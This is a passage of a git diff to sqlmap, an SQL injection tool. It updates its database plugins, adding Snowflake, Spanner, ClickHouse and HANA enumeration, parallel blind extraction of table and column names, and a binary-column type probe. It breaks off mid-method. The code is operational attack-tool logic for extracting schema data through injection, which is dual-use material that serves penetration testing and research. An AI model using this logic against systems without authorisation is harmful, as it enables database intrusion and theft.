non-SELECT (DML) here; select() commits only AFTER fetchall() because vertica_python shares one + # cursor per connection and commit() runs COMMIT through it, discarding the unfetched result set + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index fad90676403..49ead488f66 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/vertica/filesystem.py +++ b/plugins/dbms/vertica/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index 61ae7c78131..a98238041b1 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py index 016cbf724ed..556a0273c22 100644 --- a/plugins/dbms/vertica/syntax.py +++ b/plugins/dbms/vertica/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index d65d717696e..93c3dbd3ea9 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py index 21b2b75fada..07f68d2ce62 100644 --- a/plugins/dbms/virtuoso/__init__.py +++ b/plugins/dbms/virtuoso/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py index 60cd174f624..e2980734d7f 100644 --- a/plugins/dbms/virtuoso/connector.py +++ b/plugins/dbms/virtuoso/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index a0434fa0d04..25443703c0f 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py index f4ef54e9175..ada2ec7d61c 100644 --- a/plugins/dbms/virtuoso/filesystem.py +++ b/plugins/dbms/virtuoso/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index 0ed0bd5ddd3..b033511b8a6 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py index b6b6c633dc8..7ba5c8b9f38 100644 --- a/plugins/dbms/virtuoso/syntax.py +++ b/plugins/dbms/virtuoso/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py index 6acd165a936..e91c8050796 100644 --- a/plugins/dbms/virtuoso/takeover.py +++ b/plugins/dbms/virtuoso/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 2512c7f1488..ee235b13b63 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index fab62615be1..de4ef537523 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,7 +13,10 @@ from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet +from lib.core.common import isListLike from lib.core.common import isStackingAvailable +from lib.core.common import joinValue +from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger @@ -41,6 +44,7 @@ def sqlQuery(self, query): sqlType = None query = query.rstrip(';') + try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: @@ -61,6 +65,11 @@ def sqlQuery(self, query): output = inject.getValue(query, fromUser=True) + if sqlType and "SELECT" in sqlType and isListLike(output): + for i in xrange(len(output)): + if isListLike(output[i]): + output[i] = joinValue(output[i]) + return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " @@ -98,6 +107,10 @@ def sqlShell(self): query = _input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) query = query.strip("; ") + except UnicodeDecodeError: + print() + errMsg = "invalid user input" + logger.error(errMsg) except KeyboardInterrupt: print() errMsg = "user aborted" diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b69c9f67ee6..b648714bdef 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -46,6 +46,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BINARY_FIELDS_TYPE_KEYWORDS from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import PLUS_ONE_DBMSES @@ -70,6 +71,7 @@ def __init__(self): kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -83,7 +85,7 @@ def getCurrentDb(self): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -108,7 +110,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.SPANNER): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -304,13 +306,16 @@ def getTables(self, bruteForce=None): if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if unsafeSQLIdentificatorNaming(db) not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) + if Backend.isDbms(DBMS.SPANNER): + query = query.replace("IN ('default')", "IN ('')") + if query: values = inject.getValue(query, blind=False, time=False) @@ -325,12 +330,12 @@ def getTables(self, bruteForce=None): if not isNoneValue(table): db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(table, True) + table = safeSQLIdentificatorNaming(table, True).strip() if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -353,7 +358,7 @@ def getTables(self, bruteForce=None): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue @@ -371,7 +376,9 @@ def getTables(self, bruteForce=None): infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + if Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _count % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = _count % unsafeSQLIdentificatorNaming(db) else: query = _count @@ -395,24 +402,40 @@ def getTables(self, bruteForce=None): plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): - query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = _query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = _query % (index, unsafeSQLIdentificatorNaming(db)) - else: - query = _query % (unsafeSQLIdentificatorNaming(db), index) + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic "<db>, <index>" blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) + + if genericTemplate and inject.valueParallelEligible(): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) if tables: kb.data.cachedTables[db] = tables @@ -421,7 +444,7 @@ def getTables(self, bruteForce=None): for table in tables: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -621,14 +644,18 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("column_type", "data_type", query, flags=re.I) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE, DBMS.HANA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -757,11 +784,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -773,6 +800,10 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), conf.db, conf.db) + query += condQuery + elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery @@ -825,7 +856,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.error(errMsg) continue - for index in getLimitRange(count): + def columnNameQuery(index): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -834,11 +865,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MONETDB): + elif Backend.isDbms(DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + field = None + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): @@ -858,8 +895,24 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + return agent.limitQuery(index, query, field, field) + + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). + columnNames = None + if not conf.getComments and inject.valueParallelEligible(): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: @@ -879,8 +932,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) - if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + # In dump mode we don't need the exact type, only whether the column is binary (so its raw + # bytes get hex-extracted instead of mangled/truncated - issues #8/#582/#2827). Rather than + # extract the whole type string char-by-char, wrap the type query into a single-bit check and + # extract just that (~10x fewer requests). Skipped where query2 doesn't yield a type name: + # MSSQL (returns the column name), Firebird/Informix (numeric type codes), and PostgreSQL + # (its bytea already renders fine, so it's excluded from auto-hexing anyway). + binaryProbe = onlyColNames and dumpMode and not Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL, DBMS.FIREBIRD, DBMS.INFORMIX) + + if not onlyColNames or binaryProbe: + query = None + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) @@ -892,23 +954,38 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.MONETDB): query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + + if binaryProbe and query: + typeMatch = re.match(r"(?is)\s*SELECT\s+(.+?)\s+FROM\s+(.+)", query) + if typeMatch: + binaryCondition = " OR ".join("UPPER(%s) LIKE '%%%s%%'" % (typeMatch.group(1), _) for _ in BINARY_FIELDS_TYPE_KEYWORDS) + query = "SELECT (CASE WHEN %s THEN 1 ELSE 0 END) FROM %s" % (binaryCondition, typeMatch.group(2)) + else: + query = None # unexpected shape - fall back to leaving the type unknown - colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType - - if Backend.isDbms(DBMS.FIREBIRD): - colType = FIREBIRD_TYPES.get(key, colType) - elif Backend.isDbms(DBMS.INFORMIX): - notNull = False - if isinstance(key, int) and key > 255: - key -= 256 - notNull = True - colType = INFORMIX_TYPES.get(key, colType) - if notNull: - colType = "%s NOT NULL" % colType + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if query else None - column = safeSQLIdentificatorNaming(column) - columns[column] = colType + if binaryProbe: + column = safeSQLIdentificatorNaming(column) + columns[column] = "binary" if colType in ('1', 1) else None # sentinel matched by BINARY_FIELDS_TYPE_REGEX + else: + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + + column = safeSQLIdentificatorNaming(column) + columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None @@ -948,7 +1025,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): @@ -1028,6 +1105,11 @@ def getStatements(self): rootQuery = queries[Backend.getIdentifiedDbms()].statements + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the SQL statements" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedStatements + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query2 @@ -1099,3 +1181,62 @@ def getStatements(self): kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] return kb.data.cachedStatements + + def getProcedures(self): + infoMsg = "fetching stored procedures" + logger.info(infoMsg) + + rootQuery = 